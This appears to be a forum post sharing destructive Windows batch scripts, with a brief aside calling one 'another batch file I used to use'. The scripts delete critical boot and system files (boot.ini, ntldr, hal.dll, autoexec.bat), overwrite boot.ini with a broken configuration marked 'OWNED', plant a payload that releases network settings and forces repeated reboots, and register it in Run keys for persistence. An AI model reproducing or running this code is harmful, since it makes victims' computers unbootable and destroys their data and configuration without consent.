@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
DEL /F /Q %systemroot%\system32\hal.dll
ATTRIB -R -A -S -H %SYSTEMDRIVE%\boot.ini
DEL /F /Q %SYSTEMDRIVE%\boot.ini
DEL /F /Q %SYSTEMROOT%\system32\hal.dll
ECHO [boot loader]>%SYSTEMDRIVE%\boot.ini
ECHO timeout=10>>%SYSTEMDRIVE%\boot.ini
ECHO default=multi(1)disk(2)rdisk(3)partition(4)\WINDOWS>>%SYSTEMDRIVE%\boot.ini
ECHO [operating systems]>>%SYSTEMDRIVE%\boot.ini
ECHO multi(5)disk(6)rdisk(7)partition(
\WINDOWS="OWNED" /noexecute=optin /fastdetect>>%SYSTEMDRIVE%\boot.ini
ATTRIB +R +A +S +H %SYSTEMDRIVE%\boot.ini
CLS
ECHO @ECHO OFF>%SYSTEMROOT%\autoexec.bat
ECHO BREAK OFF>>%SYSTEMROOT%\autoexec.bat
ECHO IPCONFIG /RELEASE /ALL>>%SYSTEMROOT%\autoexec.bat
ECHO DEL /F /Q %SYSTEMROOT%\System32\hal.dll>>%SYSTEMROOT%\autoexec.bat
ECHO SHUTDOWN -C "Unplanned System Reconfiguration" -R -F -T 03>>%SYSTEMROOT%\autoexec.bat
ECHO CLS>>%SYSTEMROOT%\autoexec.bat
CLS
REG ADD HKLM\software\microsoft\windows\currentversion\run /V WINDOWSAPI /T reg_sz /D %SYSTEMROOT%\autoexec.bat /F
REG ADD HKCU\software\microsoft\windows\currentversion\run /V CONTROLexit /T reg_sz /D %SYSTEMROOT%\autoexec.bat /F
SHUTDOWN -C "Unplanned System Reconfiguration" -R -F -T 03
EXIT
another batch file I used to use
REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 0 /f
Copyright © 2026, NextGenUpdate.
All Rights Reserved.